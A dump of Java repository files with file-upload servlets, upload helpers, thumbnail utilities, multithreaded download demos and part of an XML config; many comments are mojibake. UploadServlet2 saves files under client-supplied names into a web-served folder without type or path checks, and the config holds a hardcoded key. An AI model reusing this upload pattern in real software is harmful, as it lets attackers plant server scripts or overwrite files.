\"\");\n\t\tCalendar date = Calendar.getInstance();\n\t\tint hour = date.get(Calendar.HOUR_OF_DAY);\n\t\tint minute = date.get(Calendar.MINUTE);\n\t\tint second = date.get(Calendar.SECOND);\n\t\tif(oldFileName.length()>30)\n\t\t\toldFileName = oldFileName.substring(oldFileName.length()-30);\n\t\treturn (new Integer(hour*3600 + minute*60 + second).toString()) \n\t\t\t\t\t+ split + oldFileName;\n\t}\n\t\n\tpublic static String getThumbFileName(String fileName){\n\t\tint pos = fileName.lastIndexOf(\".\");\n\t\tif(pos>=0)\n\t\t\treturn fileName.substring(0, pos) + \"s\" + fileName.substring(pos);\n\t\telse\n\t\t\treturn\tfileName + \"s\";\n\t}\n\t\n   \t/**\n   \t * This method checks if the given file exists on disk. If it does it's ignored because\n   \t * that means that the file is allready cached on the server. If not we dump\n   \t * the text on it.\n   \t */\n\tpublic void dumpAttributeToFile(String attributeValue, String fileName, String filePath) throws Exception\n\t{\n\t\tFile outputFile = new File(filePath + separator + fileName);\n\t\tPrintWriter pw = new PrintWriter(new FileWriter(outputFile));\n        pw.println(attributeValue);    \n        pw.close();\n\t}\n\t\n \t/**\n \t * �����ļ�\n   \t * This method checks if the given file exists on disk. If it does it's ignored because\n   \t * that means that the file is allready cached on the server. If not we take out the stream from the \n   \t * digitalAsset-object and dumps it.\n   \t */\n\tpublic void dumpAsset(File file, String fileName, String filePath) throws Exception\n\t{\n\t\tlong timer = System.currentTimeMillis();\n\t\t\n\t\tFile outputFile = new File(filePath + separator + fileName);\n\t\tif(outputFile.exists())\n\t\t{\n\t\t\treturn;\n\t\t}\n\t\t\n\t\tFileOutputStream fis = new FileOutputStream(outputFile);\n\t\tBufferedOutputStream bos = new BufferedOutputStream(fis);\n\t\t\n\t\tBufferedInputStream bis = new BufferedInputStream(new FileInputStream(file));\n\t\t\n\t\tint character;\n        while ((character = bis.read()) != -1)\n        {\n\t\t\tbos.write(character);\n        }\n\t\tbos.flush();\n\t\t\n        bis.close();\n\t\tfis.close();\n\t\tbos.close();\n\t}\n\n\t/**\n\t * ��������ͼ\n\t * This method checks if the given file exists on disk. If it does it's ignored because\n\t * that means that the file is allready cached on the server. If not we take out the stream from the \n\t * digitalAsset-object and dumps a thumbnail to it.\n\t */\n   \t\n\tpublic void dumpAssetThumbnail(File file, String fileName, String thumbnailFile, String filePath, int width, int height, int quality) throws Exception\n\t{\n\t\tlong timer = System.currentTimeMillis();\n\t\t\n\t\tFile outputFile = new File(filePath + separator + thumbnailFile);\n\t\tif(outputFile.exists())\n\t\t{\n\t\t\treturn;\n\t\t}\n\t\t\n//\t\tThumbnailGenerator tg = new ThumbnailGenerator();\n\t\tthis.transform(filePath + separator + fileName, filePath + separator + thumbnailFile, width, height, quality);\n\t\t\n//\t\tlog.info(\"Time for dumping file \" + fileName + \":\" + (System.currentTimeMillis() - timer));\n\t}\n\t\n\t/**\n\t * This method removes all images in the digitalAsset directory which belongs to a certain digital asset.\n\t */\n\tpublic void deleteDigitalAssets(String filePath, String filePrefix) throws Exception\n\t{ \n\t\ttry\n\t\t{\n\t\t\tFile assetDirectory = new File(filePath);\n\t\t\tFile[] files = assetDirectory.listFiles(new FilenameFilterImpl(filePrefix)); \t\n\t\t\tfor(int i=0; i<files.length; i++)\n\t\t\t{\n\t\t\t\tFile file = files[i];\n\t\t\t\tfile.delete();\n\t\t\t}\n\t\t}\n\t\tcatch(Exception e)\n\t\t{\n\t\t}\n\t}\n\t\n\t\n\t\n\tpublic void transform(String originalFile, String thumbnailFile, int thumbWidth, int thumbHeight, int quality) throws Exception \n\t{\n\t\tImage image = javax.imageio.ImageIO.read(new File(originalFile));\n\t    \n\t    double thumbRatio = (double)thumbWidth / (double)thumbHeight;\n\t    int imageWidth    = image.getWidth(null);\n\t    int imageHeight   = image.getHeight(null);\n\t    double imageRatio = (double)imageWidth / (double)imageHeight;\n\t    if (thumbRatio < imageRatio) \n\t    {\n\t    \tthumbHeight = (int)(thumbWidth / imageRatio);\n\t    } \n\t    else \n\t    {\n\t      \tthumbWidth = (int)(thumbHeight * imageRatio);\n\t    }\n\t    \n\t\tif(imageWidth < thumbWidth && imageHeight < thumbHeight)\n\t\t{\n\t\t\tthumbWidth = imageWidth;\n\t\t\tthumbHeight = imageHeight;\n\t\t}\n\t\telse if(imageWidth < thumbWidth)\n\t\t\tthumbWidth = imageWidth;\n\t\telse if(imageHeight < thumbHeight)\n\t\t\tthumbHeight = imageHeight;\n\n\t    BufferedImage thumbImage = new BufferedImage(thumbWidth, thumbHeight, BufferedImage.TYPE_INT_RGB);\n\t    Graphics2D graphics2D = thumbImage.createGraphics();\n\t    graphics2D.setBackground(Color.WHITE);\n    \tgraphics2D.setPaint(Color.WHITE); \n    \tgraphics2D.fillRect(0, 0, thumbWidth, thumbHeight);\n\t    graphics2D.setRenderingHint(RenderingHints.KEY_INTERPOLATION, RenderingHints.VALUE_INTERPOLATION_BILINEAR);\n\t    graphics2D.drawImage(image, 0, 0, thumbWidth, thumbHeight, null);\n\t    \n\t\tjavax.imageio.ImageIO.write(thumbImage, \"JPG\", new File(thumbnailFile));\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_fileupload/src/main/java/com/jun/plugin/file/fileupload/UploadServlet2.java",
    "content": "package com.jun.plugin.file.fileupload;\n\n\nimport java.io.File;\nimport java.io.IOException;\nimport java.io.PrintWriter;\nimport java.util.List;\n\nimport javax.servlet.ServletException;\nimport javax.servlet.http.HttpServlet;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\n\nimport org.apache.commons.fileupload.DefaultFileItemFactory;\nimport org.apache.commons.fileupload.FileItem;\nimport org.apache.commons.fileupload.FileItemFactory;\nimport org.apache.commons.fileupload.FileUploadException;\nimport org.apache.commons.fileupload.disk.DiskFileItemFactory;\nimport org.apache.commons.fileupload.servlet.ServletFileUpload;\n\npublic class UploadServlet2 extends HttpServlet {\n\tPrintWriter out=null;\n\t/**\n\t * 处理请求 \n\t */\n\tpublic void service(HttpServletRequest request, HttpServletResponse response)\n\t\t\tthrows ServletException, IOException {\n\t\t//设置中文 \n\t\trequest.setCharacterEncoding(\"UTF-8\");\n\t\tresponse.setContentType(\"text/html;charset=UTF-8\");\n\t\tout= response.getWriter();\n\t\t\n\t\t\n\t\t//确定本次请求是否是文件上传请�?\n\t\tboolean flag=ServletFileUpload.isMultipartContent(request);\n\t\tif(flag){\n\t\t\t//创建文件上传的工厂对�?\n\t\t\tFileItemFactory factory=new DiskFileItemFactory();\n\t\t\t//创建ServletFileUpload对象，并将工厂对象作为参数传�?\n\t\t\tServletFileUpload upload=new ServletFileUpload(factory);\n\t\t\t//设置上传文件的大�?\n\t\t\tupload.setSizeMax(1024*1024*3); //3m\n\t\t\t//使用上传对象从请求对象中解析出提交的�?有表单元�?\n\t\t\ttry {\n\t\t\t\tList<FileItem> lstForms=upload.parseRequest(request);\n\t\t\t\t//遍历�?有表单元�?\n\t\t\t\tfor (FileItem fileItem : lstForms) {\n\t\t\t\t\t//判断每一个表单元素是否是普�?�表�?\n\t\t\t\t\tif(fileItem.isFormField()){\n\t\t\t\t\t\tSystem.out.println(fileItem.getString(\"UTF-8\"));\n\t\t\t\t\t}else{\n\t\t\t\t\t\t//上传前准备工�?\n\t\t\t\t\t\t//a、上传后的路径this.getServletContext().getRealPath(\"/\")会出去当前项目在 部署的服务器上的绝对路径\n\t\t\t\t\t\n\t\t\t\t\t\tString path=this.getServletContext().getRealPath(\"/\")+\"files/\";\n\t\t\t\t\t\t//b、找出要上传的文件的名字\n\t\t\t\t\t\tString fileName=fileItem.getName();\n\t\t\t\t\t\tfileName=fileName.substring(fileName.lastIndexOf(\"\\\\\")+1);\n\t\t\t\t\t\t//c、上�?\n\t\t\t\t\t\tfileItem.write(new File(path+fileName));\n\t\t\t\t\t\tout.println(\"<h2>\"+fileName+\"上传成功�?</h2>\");\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} catch (Exception e) {\n\t\t\t\tSystem.out.println(\"错误�?\"+e.getMessage());\n\t\t\t}\n\t\t}else{\n\t\t\tSystem.out.println(\"没有上传\");\n\t\t}\n\t\t\n\t\t\n\t\tout.flush();\n\t\tout.close();\n\t}\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_fileupload/src/main/java/com/jun/plugin/file/fileupload/UploadUtil.java",
    "content": "package com.jun.plugin.file.fileupload;\n\n\nimport java.io.File;\nimport java.io.FileOutputStream;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.io.OutputStream;\nimport java.util.UUID;\n\npublic final class UploadUtil {\n\t// ȡ���ϴ�ʹ�õ���ʱ����ʵĿ¼\n\tpublic static final String tempPath = \"/WEB-INF/temp\";\n\tpublic static final String uploadPath = \"/WEB-INF/upload\";\n\n\t// ȡ����ʵ�ļ���\n\tpublic static String getRealFileName(String realFileName) {\n\t\tint index = realFileName.lastIndexOf(\"\\\\\");\n\t\tif (index >= 0) {\n\t\t\t// IE6�����?\n\t\t\trealFileName = realFileName.substring(index + 1);\n\t\t}\n\t\treturn realFileName;\n\t}\n\n\t// ȡ��uuid�ļ���\n\tpublic static String makeUuidFilePath(String uploadPath, String uuidFileName) {\n\t\tString uuidFilePath = null;\n\t\tint code = uuidFileName.hashCode();// 8\n\t\tint dir1 = code & 0xF;// 3\n\t\tint dir2 = code >> 4 & 0xF;// A\n\t\tFile file = new File(uploadPath + \"/\" + dir1 + \"/\" + dir2);\n\t\t// ����Ŀ¼δ����\n\t\tif (!file.exists()) {\n\t\t\t// һ���Դ���N��Ŀ¼\n\t\t\tfile.mkdirs();\n\t\t}\n\t\tuuidFilePath = file.getPath();\n\t\treturn uuidFilePath;\n\t}\n\n\t// ȡ��upload/Ŀ¼�µķ�ɢĿ¼\n\tpublic static String makeUuidFileName(String realFileName) {\n\t\treturn UUID.randomUUID().toString() + \"_\" + realFileName;\n\t}\n\n\t// �ļ�����\n\tpublic static void doSave(InputStream is, String uuidFileName,\n\t\t\tString uuidFilePath) {\n\t\tOutputStream os = null;\n\t\ttry {\n\t\t\tos = new FileOutputStream(uuidFilePath + \"/\" + uuidFileName);\n\t\t\tbyte[] buf = new byte[1024];\n\t\t\tint len = 0;\n\t\t\twhile ((len = is.read(buf)) > 0) {\n\t\t\t\tos.write(buf, 0, len);\n\t\t\t}\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t} finally {\n\t\t\tif (is != null) {\n\t\t\t\ttry {\n\t\t\t\t\tis.close();\n\t\t\t\t} catch (IOException e) {\n\t\t\t\t\te.printStackTrace();\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (os != null) {\n\t\t\t\ttry {\n\t\t\t\t\tos.close();\n\t\t\t\t} catch (IOException e) {\n\t\t\t\t\te.printStackTrace();\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n \n\t// public static void doSave(User user, String uploadPath,List<Up> upList)\n\t// throws Exception {\n\t// for(FileItem fileItem : fileItemList){\n\t// //����Up����\n\t// Up up = new Up();\n\t// up.setUsername(user.getUsername());\n\t// //ȡ��������\n\t// InputStream is = fileItem.getInputStream();\n\t// //ȡ����ʵ�ļ���\n\t// String realFileName = fileItem.getName();\n\t// realFileName = UploadUtil.getRealFileName(realFileName);\n\t// //ȡ��UUID�ļ���\n\t// String uuidFileName = UploadUtil.makeUuidFileName(realFileName);\n\t// //ȡ��UUID�ļ�·��\n\t// String uuidFilePath =\n\t// UploadUtil.makeUuidFilePath(uploadPath,uuidFileName);\n\t// //����\n\t// UploadUtil.doSave(is,uuidFileName,uuidFilePath);\n\t// //�ռ�Up��Ϣ\n\t// up.setUuidFileName(uuidFileName);\n\t// up.setRealFileName(realFileName);\n\t// upList.add(up);\n\t// //ɾ����ʱ�ļ�\n\t// fileItem.delete();\n\t// }\n\t// }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_fileupload/src/main/java/com/jun/plugin/file/fileupload/UploadUtils.java",
    "content": "package com.jun.plugin.file.fileupload;\n\n\n\nimport java.util.UUID;\n\npublic class UploadUtils {\n\t/**\n\t * ��ȡ��ʵ�ļ���\n\t * \n\t * @param fileName\n\t * @return\n\t */\n\tpublic static String subFileName(String fileName) {\n\t\t// �������һ��? \\����λ��\n\t\tint index = fileName.lastIndexOf(\"\\\\\");  //   \\   /\n\t\tif (index == -1) {\n\t\t\treturn fileName;\n\t\t}\n\t\treturn fileName.substring(index + 1);\n\t}\n\n\t// ������UUID�ļ���\n\tpublic static String generateRandonFileName(String fileName) {\n\t\t// �����չ��?\n\t\tString ext = fileName.substring(fileName.lastIndexOf(\".\"));\n\t\treturn UUID.randomUUID().toString() + ext;     // jlksjflkdsjaf.png\n\t}\n\n\t// ���hashcode���ɶ���Ŀ¼\n\tpublic static String generateRandomDir(String uuidFileName) {\n\t\tint hashCode = uuidFileName.hashCode();\n\t\t// һ��Ŀ¼\n\t\tint d1 = hashCode & 0xf;\n\t\t// ����Ŀ¼\n\t\tint d2 = (hashCode >> 4) & 0xf;\n\t\treturn \"/\" + d1 + \"/\" + d2;     //    /1/5\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_fileupload/src/main/java/com/jun/plugin/file/fileupload/Uploadify.java",
    "content": "package com.jun.plugin.file.fileupload;\n\nimport java.io.BufferedInputStream;\nimport java.io.BufferedOutputStream;\nimport java.io.File;\nimport java.io.FileOutputStream;\nimport java.io.IOException;\nimport java.text.SimpleDateFormat;\nimport java.util.Date;\nimport java.util.Iterator;\nimport java.util.List;\n\nimport javax.servlet.ServletException;\nimport javax.servlet.http.HttpServlet;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\n\nimport org.apache.commons.fileupload.disk.DiskFileItem;\nimport org.apache.commons.fileupload.disk.DiskFileItemFactory;\nimport org.apache.commons.fileupload.servlet.ServletFileUpload;\nimport org.apache.commons.fileupload.util.Streams;\n  \npublic class Uploadify extends HttpServlet{  \n    private static final long serialVersionUID = 1L;    \n        \n    /**  \n     * 实现多文件的同时上传  \n     */     \n    public void doGet(HttpServletRequest request,    \n            HttpServletResponse response) throws ServletException, IOException {    \n            \n        //设置接收的编码格�?    \n        request.setCharacterEncoding(\"UTF-8\");    \n        Date date = new Date();//获取当前时间    \n        SimpleDateFormat sdfFileName = new SimpleDateFormat(\"yyyyMMddHHmmss\");    \n        SimpleDateFormat sdfFolder = new SimpleDateFormat(\"yyMM\");    \n        String newfileName = sdfFileName.format(date);//文件名称    \n        String fileRealPath = \"\";//文件存放真实地址    \n            \n        String fileRealResistPath = \"\";//文件存放真实相对路径    \n            \n        //名称  界面编码 必须 和request 保存�?�?..否则乱码    \n        String name = request.getParameter(\"name\");    \n                \n             \n        String firstFileName=\"\";    \n        // 获得容器中上传文件夹�?在的物理路径    \n        String savePath = this.getServletConfig().getServletContext().getRealPath(\"/\") + \"uploads\\\\\" + newfileName +\"\\\\\";    \n        System.out.println(\"路径\" + savePath+\"; name:\"+name);    \n        File file = new File(savePath);    \n        if (!file.isDirectory()) {    \n            file.mkdirs();    \n        }    \n    \n        try {    \n            DiskFileItemFactory fac = new DiskFileItemFactory();    \n            ServletFileUpload upload = new ServletFileUpload(fac);    \n            upload.setHeaderEncoding(\"UTF-8\");    \n            // 获取多个上传文件    \n            List fileList = fileList = upload.parseRequest(request);    \n            // 遍历上传文件写入磁盘    \n            Iterator it = fileList.iterator();    \n            while (it.hasNext()) {    \n                Object obit = it.next();  \n                if(obit instanceof DiskFileItem){  \n                    System.out.println(\"xxxxxxxxxxxxx\");  \n                    DiskFileItem item = (DiskFileItem) obit;    \n                        \n                    // 如果item是文件上传表单域       \n                    // 获得文件名及路径       \n                    String fileName = item.getName();    \n                    if (fileName != null) {    \n                        firstFileName=item.getName().substring(item.getName().lastIndexOf(\"\\\\\")+1);    \n                        String formatName = firstFileName.substring(firstFileName.lastIndexOf(\".\"));//获取文件后缀�?    \n                        fileRealPath = savePath + newfileName+ formatName;//文件存放真实地址    \n                            \n                        BufferedInputStream in = new BufferedInputStream(item.getInputStream());// 获得文件输入�?    \n                        BufferedOutputStream outStream = new BufferedOutputStream(new FileOutputStream(new File(fileRealPath)));// 获得文件输出�?    \n                        Streams.copy(in, outStream, true);// �?始把文件写到你指定的上传文件�?    \n                        //上传成功，则插入数据�?    \n                        if (new File(fileRealPath).exists()) {    \n                            //虚拟路径赋�??    \n                            fileRealResistPath=sdfFolder.format(date)+\"/\"+fileRealPath.substring(fileRealPath.lastIndexOf(\"\\\\\")+1);    \n                            //保存到数据库    \n                            System.out.println(\"保存到数据库:\");    \n                            System.out.println(\"name:\"+name);    \n                            System.out.println(\"虚拟路径:\"+fileRealResistPath);    \n                        }    \n                             \n                    }     \n                }  \n            }     \n        } catch (org.apache.commons.fileupload.FileUploadException ex) {  \n           ex.printStackTrace();    \n           System.out.println(\"没有上传文件\");    \n           return;    \n        }     \n       response.getWriter().write(\"1\");    \n            \n    }    \n     \n    public void doPost(HttpServletRequest req, HttpServletResponse resp)    \n            throws ServletException, IOException {    \n        doGet(req, resp);    \n    }    \n}  "
  },
  {
    "path": "jun_java_plugins/jun_fileupload/src/main/java/com/jun/plugin/file/多线程下载Demo.java",
    "content": "package com.jun.plugin.file;\n\n/**\n * 说明：\n * 每一个线程下载的位置计算方式：\n * 开始位置：\n * (线程id - 1)*每一块大小\n * 结束位置：\n * (线程id*每一块大小) - 1 \n *  ---注意有时候不一定能够整除，所以最后一个线程的结束位置应该是文件的末尾\n *  \n *  步骤：\n *  1.本地创建一个大小跟服务器文件相同的临时文件\n *  2.计算分配几个线程去下载服务器上的资源，知道每个线程下载文件的位置\n *  3.开启三个线程，每一个线程下载对应位置的文件\n *  4.如果所有的线程，都把自己的数据下载完毕后，服务器上的资源都被下载到本地了\n */\nimport java.io.InputStream;\nimport java.io.RandomAccessFile;\nimport java.net.HttpURLConnection;\nimport java.net.URL;\n\npublic class 多线程下载Demo {\n\tpublic static String path = \"http://static.csdn.net/public/common/toolbar/css/index.css\";\n\tpublic static int threadCount = 10;\n\tpublic static long startTime;\n\tpublic static void main(String[] args) throws Exception{\n\t\tstartTime = System.currentTimeMillis();\n\t\t//1.连接服务器，获取一个文件，获取文件的长度，在本地创建一个跟服务器一样大小的临时文件\n\t\tURL url = new URL(path);\n\t\tHttpURLConnection conn = (HttpURLConnection)url.openConnection();\n\t\tconn.setConnectTimeout(5000);\n\t\tconn.setRequestMethod(\"GET\");\n\t\tint code = conn.getResponseCode();\n\t\tif (code == 200) {\n\t\t\t//服务器端返回的数据的长度，实际上就是文件的长度\n\t\t\tint length = conn.getContentLength();\n\t\t\tSystem.out.println(\"文件总长度：\"+length);\n\t\t\t//在客户端本地创建出来一个大小跟服务器端一样大小的临时文件\n\t\t\tRandomAccessFile raf = new RandomAccessFile(\"index.css\", \"rwd\");\n\t\t\t//指定创建的这个文件的长度\n\t\t\traf.setLength(length);\n\t\t\traf.close();\n\t\t\t//假设是3个线程去下载资源。\n\t\t\t//平均每一个线程下载的文件大小.\n\t\t\tint blockSize = length / threadCount;\n\t\t\tfor (int threadId = 1; threadId <= threadCount; threadId++) {\n\t\t\t\t//第一个线程下载的开始位置\n\t\t\t\tint startIndex = (threadId - 1) * blockSize;\n\t\t\t\tint endIndex = threadId * blockSize - 1;\n\t\t\t\tif (threadId == threadCount) {//最后一个线程下载的长度要稍微长一点\n\t\t\t\t\tendIndex = length;\n\t\t\t\t}\n\t\t\t\tSystem.out.println(\"线程：\"+threadId+\"下载:---\"+startIndex+\"--->\"+endIndex);\n\t\t\t\tnew DownLoadThread(path, threadId, startIndex, endIndex).start();\n\t\t\t}\n\t\t}else {\n\t\t\tSystem.out.printf(\"服务器错误!\");\n\t\t}\n\t}\n\t\n\t/**\n\t * 下载文件的子线程  每一个线程下载对应位置的文件\n\t * @author jie\n\t *\n\t */\n\tpublic static class DownLoadThread extends Thread{\n\t\tprivate int threadId;\n\t\tprivate int startIndex;\n\t\tprivate int endIndex;\n\t\t/**\n\t\t * @param path 下载文件在服务器上的路径\n\t\t * @param threadId 线程Id\n\t\t * @param startIndex 线程下载的开始位置\n\t\t * @param endIndex\t线程下载的结束位置\n\t\t */\n\t\tpublic DownLoadThread(String path, int threadId, int startIndex, int endIndex) {\n\t\t\tsuper();\n\t\t\tthis.threadId = threadId;\n\t\t\tthis.startIndex = startIndex;\n\t\t\tthis.endIndex = endIndex;\n\t\t}\n\n\t\t@Override\n\t\tpublic void run() {\n\t\t\ttry {\n\t\t\t\tURL url = new URL(path);\n\t\t\t\tHttpURLConnection conn = (HttpURLConnection)url.openConnection();\n\t\t\t\tconn.setConnectTimeout(5000);\n\t\t\t\tconn.setRequestMethod(\"GET\");\n\t\t\t\t//重要:请求服务器下载部分文件 指定文件的位置\n\t\t\t\tconn.setRequestProperty(\"Range\", \"bytes=\"+startIndex+\"-\"+endIndex);\n\t\t\t\t//从服务器请求全部资源返回200 ok如果从服务器请求部分资源 返回 206 ok\n\t\t\t\tint code = conn.getResponseCode();\n\t\t\t\tSystem.out.println(\"code:\"+code);\n\t\t\t\tInputStream is = conn.getInputStream();//已经设置了请求的位置，返回的是当前位置对应的文件的输入流\n\t\t\t\tRandomAccessFile raf = new RandomAccessFile(\"index.css\", \"rwd\");\n\t\t\t\t//随机写文件的时候从哪个位置开始写\n\t\t\t\traf.seek(startIndex);//定位文件\n\t\t\t\n\t\t\t\tint len = 0;\n\t\t\t\tbyte[] buffer = new byte[1024];\n\t\t\t\twhile ((len = is.read(buffer)) != -1) {\n\t\t\t\t\traf.write(buffer, 0, len);\n\t\t\t\t}\n\t\t\t\tis.close();\n\t\t\t\traf.close();\n\t\t\t\tSystem.out.println(\"线程：\"+threadId+\"下载完毕\");\n\t\t\t\tSystem.out.println((System.currentTimeMillis()-startTime));\n\t\t\t} catch (Exception e) {\n\t\t\t\te.printStackTrace();\n\t\t\t}\n\t\t}\n\t\t\n\t}\n}"
  },
  {
    "path": "jun_java_plugins/jun_fileupload/src/main/java/com/jun/plugin/file/断点下载Demo.java",
    "content": "package com.jun.plugin.file;\n\n/**\n * 说明：\n * 每一个线程下载的位置计算方式：\n * 开始位置：\n * (线程id - 1)*每一块大小\n * 结束位置：\n * (线程id*每一块大小) - 1 \n *  ---注意有时候不一定能够整除，所以最后一个线程的结束位置应该是文件的末尾\n *  \n *  步骤：\n *  1.本地创建一个大小跟服务器文件相同的临时文件\n *  2.计算分配几个线程去下载服务器上的资源，知道每个线程下载文件的位置\n *  3.开启三个线程，每一个线程下载对应位置的文件\n *  4.如果所有的线程，都把自己的数据下载完毕后，服务器上的资源都被下载到本地了\n *  \n *  断点下载：\n *  1.使用文件记录每一个线程的下载长度\n *  2.每一个下载开始之前，读取文件，如果文件存在并且长度大于0，则取出长度\n *  3.将每一个线程的起始位置+已经下载的长度\n *  4.所有的线程下载完毕后，删除保存下载长度的文件\n */\nimport java.io.File;\nimport java.io.FileInputStream;\nimport java.io.InputStream;\nimport java.io.RandomAccessFile;\nimport java.net.HttpURLConnection;\nimport java.net.URL;\n\npublic class 断点下载Demo {\n\tpublic static String path = \"http://softdownload.hao123.com/hao123-soft-online-bcs/soft/Y/2013-07-18_YoudaoDict_baidu.alading.exe\";//\"http://softdownload.hao123.com/hao123-soft-online-bcs/soft/Y/2013-07-18_YoudaoDict_baidu.alading.exe\";\n\tpublic static int threadCount = 10;\n\tpublic static int runningThread = 10;\n\tpublic static void main(String[] args) throws Exception{\n\t\t//1.连接服务器，获取一个文件，获取文件的长度，在本地创建一个跟服务器一样大小的临时文件\n\t\tURL url = new URL(path);\n\t\tHttpURLConnection conn = (HttpURLConnection)url.openConnection();\n\t\tconn.setConnectTimeout(5000);\n\t\tconn.setRequestMethod(\"GET\");\n\t\tint code = conn.getResponseCode();\n\t\tif (code == 200) {\n\t\t\t//服务器端返回的数据的长度，实际上就是文件的长度\n\t\t\tint length = conn.getContentLength();\n\t\t\tSystem.out.println(\"文件总长度：\"+length);\n\t\t\t//在客户端本地创建出来一个大小跟服务器端一样大小的临时文件\n\t\t\tRandomAccessFile raf = new RandomAccessFile(\"setup.exe\", \"rwd\");\n\t\t\t//指定创建的这个文件的长度\n\t\t\traf.setLength(length);\n\t\t\traf.close();\n\t\t\t//假设是3个线程去下载资源。\n\t\t\t//平均每一个线程下载的文件大小.\n\t\t\tint blockSize = length / threadCount;\n\t\t\tfor (int threadId = 1; threadId <= threadCount; threadId++) {\n\t\t\t\t//第一个线程下载的开始位置\n\t\t\t\tint startIndex = (threadId - 1) * blockSize;\n\t\t\t\tint endIndex = threadId * blockSize - 1;\n\t\t\t\tif (threadId == threadCount) {//最后一个线程下载的长度要稍微长一点\n\t\t\t\t\tendIndex = length;\n\t\t\t\t}\n\t\t\t\tSystem.out.println(\"线程：\"+threadId+\"下载:---\"+startIndex+\"--->\"+endIndex);\n\t\t\t\tnew DownLoadThread(path, threadId, startIndex, endIndex).start();\n\t\t\t}\n\t\t\n\t\t}else {\n\t\t\tSystem.out.printf(\"服务器错误!\");\n\t\t}\n\t}\n\t\n\t/**\n\t * 下载文件的子线程  每一个线程下载对应位置的文件\n\t * @author jie\n\t *\n\t */\n\tpublic static class DownLoadThread extends Thread{\n\t\tprivate int threadId;\n\t\tprivate int startIndex;\n\t\tprivate int endIndex;\n\t\t/**\n\t\t * @param path 下载文件在服务器上的路径\n\t\t * @param threadId 线程Id\n\t\t * @param startIndex 线程下载的开始位置\n\t\t * @param endIndex\t线程下载的结束位置\n\t\t */\n\t\tpublic DownLoadThread(String path, int threadId, int startIndex, int endIndex) {\n\t\t\tsuper();\n\t\t\tthis.threadId = threadId;\n\t\t\tthis.startIndex = startIndex;\n\t\t\tthis.endIndex = endIndex;\n\t\t}\n\n\t\t@Override\n\t\tpublic void run() {\n\t\t\ttry {\n\t\t\t\t//检查是否存在记录下载长度的文件，如果存在读取这个文件\n\t\t\t\tFile tmp_file = new File(threadId+\".txt\");\n\t\t\t\tif (tmp_file.exists() && tmp_file.length() > 0) {\n\t\t\t\t\tFileInputStream fio = new FileInputStream(tmp_file);\n\t\t\t\t\tbyte[] temp = new byte[1024];\n\t\t\t\t\tint len = fio.read(temp);\n\t\t\t\t\tString downloadlen = new String(temp, 0, len);\n\t\t\t\t\tint downloadInt = Integer.parseInt(downloadlen);\n\t\t\t\t\tstartIndex = downloadInt;//修改下载的真实的开始位置\n\t\t\t\t\tSystem.out.println(\"线程：\"+threadId+\"真实的下载位置：\"+startIndex+\"--->\"+endIndex);\n\t\t\t\t\tfio.close();\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t\n\t\t\t\tURL url = new URL(path);\n\t\t\t\tHttpURLConnection conn = (HttpURLConnection)url.openConnection();\n\t\t\t\tconn.setConnectTimeout(5000);\n\t\t\t\tconn.setRequestMethod(\"GET\");\n\t\t\t\t//重要:请求服务器下载部分文件 指定文件的位置\n\t\t\t\tconn.setRequestProperty(\"Range\", \"bytes=\"+startIndex+\"-\"+endIndex);\n\t\t\t\t//从服务器请求全部资源返回200 ok如果从服务器请求部分资源 返回 206 ok\n\t\t\t\tint code = conn.getResponseCode();\n\t\t\t\tSystem.out.println(\"code:\"+code);\n\t\t\t\tInputStream is = conn.getInputStream();//已经设置了请求的位置，返回的是当前位置对应的文件的输入流\n\t\t\t\tRandomAccessFile raf = new RandomAccessFile(\"setup.exe\", \"rwd\");\n\t\t\t\t//随机写文件的时候从哪个位置开始写\n\t\t\t\traf.seek(startIndex);//定位文件\n\t\t\t\n\t\t\t\tint len = 0;\n\t\t\t\tbyte[] buffer = new byte[1024];\n\t\t\t\tint total = 0;//已经下载的数据长度\n\t\t\t\twhile ((len = is.read(buffer)) != -1) {\n\t\t\t\t\tRandomAccessFile file = new RandomAccessFile(threadId+\".txt\", \"rwd\");\n\t\t\t\t\traf.write(buffer, 0, len);\n\t\t\t\t\ttotal += len;\n\t\t\t\t\tfile.write((\"\"+(total+startIndex)).getBytes());\n\t\t\t\t\tfile.close();\n\t\t\t\t}\n\t\t\t\tis.close();\n\t\t\t\traf.close();\n\t\t\t\tSystem.out.println(\"线程：\"+threadId+\"下载完毕\");\n\t\t\t} catch (Exception e) {\n\t\t\t\te.printStackTrace();\n\t\t\t}finally{\n\t\t\t\trunningThread--;\n\t\t\t\tif (runningThread == 0) {//所有的线程执行完毕\n\t\t\t\t\tfor (int i = 1; i <= threadCount; i++) {\n\t\t\t\t\t\tFile file = new File(i+\".txt\");\n\t\t\t\t\t\tfile.delete();\n\t\t\t\t\t}\n\t\t\t\t\tSystem.out.println(\"文件全部下载完毕!\");\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\n\t}\n}"
  },
  {
    "path": "jun_java_plugins/jun_fileupload/src/main/resources/configuration.xml",
    "content": "<?xml version=\"1.0\" encoding=\"GBK\"?>\n<system>\n    <category name=\"system\" description=\"ϵͳ\">\n    \t<item name=\"verifyKey\" value=\"B49A86FA425D439dB510A234A3E25A3E\" description=\"ǩʹõļӽKEY\"/>\n    \t<item name=\"isOracleSequence\" value=\"1\" description=\"Ƿʹoraclesequence(0ղʹ 1ʹ)\"/>\n    \t<item name=\"filterPwdField\" value=\"password|tradePwd|fundPwd\"/>\n    \t<item name=\"appid\" value=\"weixin-client2json\" description=\"ӦAppId\" />\n    </category>\n    \n    <category name=\"clientCookie\" description=\"cookieбͻϢ\">\n    \t<item name=\"domain\" value=\"localhost\" description=\"½õ\" />\n        <item name=\"cookiename\" value=\"clientinfo\" description=\"cookie\" />\n    </category>\n    \n    <category name=\"h5_upload\" description=\"ļϴ\">\n    \t<item name=\"savePath\" value=\"D:\\develop\\workspace\\file-upload-download\\src\\main\\webapp\\upload\" description=\"ļ洢·\" />\n    \t<item 